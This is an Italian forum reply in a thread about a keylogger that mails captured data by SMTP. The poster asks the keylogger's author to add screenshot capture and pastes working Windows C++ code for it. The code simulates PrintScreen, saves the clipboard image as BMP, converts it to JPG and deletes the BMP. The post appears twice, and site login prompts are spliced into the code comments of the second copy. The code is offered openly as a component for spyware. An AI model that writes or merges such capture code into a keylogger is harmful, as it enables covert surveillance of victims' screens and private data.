lanza.silvio
Nuovo utente
- 26 Marzo 2012
- 24
- 0
- Miglior risposta
- 0
Riferimento: Keylogger con invio dati tramite SMTP
hey sei grandioso era proprio quello che cercavo mancano solo gli screenshot perfavore ti andrebbe di inserirli ?
in rete ho trovato questa source che li scatta se la implimenti nel tuo codice sarebbe fantastico !
#include <windows.h>
#include <stdio.h>
#include "Screenshot.h"
#include "FileManager.h"
#include "CxImage/xfile.h"
#include "CxImage/ximabmp.h"
#include "CxImage/ximajpg.h"
#include "CxImage/ximage.h"
/* Screenshot.cpp | by PieroTofy 2005
Si veda il file Screenshot.h per l'utilizzo delle funzioni
presenti nel modulo */
void GetScreenshot(){
HBITMAP hBitmap;
//Preme il tasto per catturare la schermata negli appunti
keybd_event(VK_SNAPSHOT,0,0,1);
//E lo rilascia
keybd_event(VK_SNAPSHOT,0,0,0);
if(OpenClipboard(NULL)){
//Prende l'immagine dagli appunti
hBitmap=(HBITMAP)GetClipboardData(CF_BITMAP);
//E la salva
SaveBitmap(SCREENSHOTBMPFILE,hBitmap);
//Chiude gli appunti
CloseClipboard();
//Converte
CxImage image;
// bmp -> jpg
image.Load(SCREENSHOTBMPFILE, CXIMAGE_FORMAT_BMP);
if (image.IsValid()){
//if(!image.IsGrayScale()) image.IncreaseBpp(24);
image.SetJpegQuality(50);
image.Save(SCREENSHOTJPGFILE,CXIMAGE_FORMAT_JPG);
}
//Cancella il bmp
DeleteFile(SCREENSHOTBMPFILE);
}
}
/*
Funzione per scrivere l'handle di una bitmap su file
Thanks to
*/
void SaveBitmap(char *szFilename,HBITMAP hBitmap){
HDC hdc=NULL;
FILE* fp=NULL;
LPVOID pBuf=NULL;
BITMAPINFO bmpInfo;
BITMAPFILEHEADER bmpFileHeader;
do{
hdc=GetDC(NULL);
ZeroMemory(&bmpInfo,sizeof(BITMAPINFO));
bmpInfo.bmiHeader.biSize=sizeof(BITMAPINFOHEADER);
GetDIBits(hdc,hBitmap,0,0,NULL,&bmpInfo,DIB_RGB_COLORS);
if(bmpInfo.bmiHeader.biSizeImage<=0)
bmpInfo.bmiHeader.biSizeImage=bmpInfo.bmiHeader.biWidth*abs(bmpInfo.bmiHeader.biHeight)*(bmpInfo.bmiHeader.biBitCount+7)/8;
if((pBuf = malloc(bmpInfo.bmiHeader.biSizeImage))==NULL)
{
//MessageBox( NULL, "Unable to Allocate Bitmap Memory", "Error", MB_OK|MB_ICONERROR);
break;
}
bmpInfo.bmiHeader.biCompression=BI_RGB;
GetDIBits(hdc,hBitmap,0,bmpInfo.bmiHeader.biHeight,pBuf, &bmpInfo, DIB_RGB_COLORS);
if((fp = fopen(szFilename,"wb"))==NULL)
{
//MessageBox( NULL, "Unable to Create Bitmap File", "Error", MB_OK|MB_ICONERROR);
break;
}
bmpFileHeader.bfReserved1=0;
bmpFileHeader.bfReserved2=0;
bmpFileHeader.bfSize=sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+bmpInfo.bmiHeader.biSizeImage;
bmpFileHeader.bfType='MB';
bmpFileHeader.bfOffBits=sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER);
fwrite(&bmpFileHeader,sizeof(BITMAPFILEHEADER),1,fp);
fwrite(&bmpInfo.bmiHeader,sizeof(BITMAPINFOHEADER),1,fp);
fwrite(pBuf,bmpInfo.bmiHeader.biSizeImage,1,fp);
}while(false);
if(hdc) ReleaseDC(NULL,hdc);
if(pBuf) free(pBuf);
if(fp) fclose(fp);
}
hey sei grandioso era proprio quello che cercavo mancano solo gli screenshot perfavore ti andrebbe di inserirli ?
in rete ho trovato questa source che li scatta se la implimenti nel tuo codice sarebbe fantastico !
#include <windows.h>
#include <stdio.h>
#include "Screenshot.h"
#include "FileManager.h"
#include "CxImage/xfile.h"
#include "CxImage/ximabmp.h"
#include "CxImage/ximajpg.h"
#include "CxImage/ximage.h"
/* Screenshot.cpp | by PieroTofy 2005
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
|Si veda il file Screenshot.h per l'utilizzo delle funzioni
presenti nel modulo */
void GetScreenshot(){
HBITMAP hBitmap;
//Preme il tasto per catturare la schermata negli appunti
keybd_event(VK_SNAPSHOT,0,0,1);
//E lo rilascia
keybd_event(VK_SNAPSHOT,0,0,0);
if(OpenClipboard(NULL)){
//Prende l'immagine dagli appunti
hBitmap=(HBITMAP)GetClipboardData(CF_BITMAP);
//E la salva
SaveBitmap(SCREENSHOTBMPFILE,hBitmap);
//Chiude gli appunti
CloseClipboard();
//Converte
CxImage image;
// bmp -> jpg
image.Load(SCREENSHOTBMPFILE, CXIMAGE_FORMAT_BMP);
if (image.IsValid()){
//if(!image.IsGrayScale()) image.IncreaseBpp(24);
image.SetJpegQuality(50);
image.Save(SCREENSHOTJPGFILE,CXIMAGE_FORMAT_JPG);
}
//Cancella il bmp
DeleteFile(SCREENSHOTBMPFILE);
}
}
/*
Funzione per scrivere l'handle di una bitmap su file
Thanks to
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
*/
void SaveBitmap(char *szFilename,HBITMAP hBitmap){
HDC hdc=NULL;
FILE* fp=NULL;
LPVOID pBuf=NULL;
BITMAPINFO bmpInfo;
BITMAPFILEHEADER bmpFileHeader;
do{
hdc=GetDC(NULL);
ZeroMemory(&bmpInfo,sizeof(BITMAPINFO));
bmpInfo.bmiHeader.biSize=sizeof(BITMAPINFOHEADER);
GetDIBits(hdc,hBitmap,0,0,NULL,&bmpInfo,DIB_RGB_COLORS);
if(bmpInfo.bmiHeader.biSizeImage<=0)
bmpInfo.bmiHeader.biSizeImage=bmpInfo.bmiHeader.biWidth*abs(bmpInfo.bmiHeader.biHeight)*(bmpInfo.bmiHeader.biBitCount+7)/8;
if((pBuf = malloc(bmpInfo.bmiHeader.biSizeImage))==NULL)
{
//MessageBox( NULL, "Unable to Allocate Bitmap Memory", "Error", MB_OK|MB_ICONERROR);
break;
}
bmpInfo.bmiHeader.biCompression=BI_RGB;
GetDIBits(hdc,hBitmap,0,bmpInfo.bmiHeader.biHeight,pBuf, &bmpInfo, DIB_RGB_COLORS);
if((fp = fopen(szFilename,"wb"))==NULL)
{
//MessageBox( NULL, "Unable to Create Bitmap File", "Error", MB_OK|MB_ICONERROR);
break;
}
bmpFileHeader.bfReserved1=0;
bmpFileHeader.bfReserved2=0;
bmpFileHeader.bfSize=sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+bmpInfo.bmiHeader.biSizeImage;
bmpFileHeader.bfType='MB';
bmpFileHeader.bfOffBits=sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER);
fwrite(&bmpFileHeader,sizeof(BITMAPFILEHEADER),1,fp);
fwrite(&bmpInfo.bmiHeader,sizeof(BITMAPINFOHEADER),1,fp);
fwrite(pBuf,bmpInfo.bmiHeader.biSizeImage,1,fp);
}while(false);
if(hdc) ReleaseDC(NULL,hdc);
if(pBuf) free(pBuf);
if(fp) fclose(fp);
}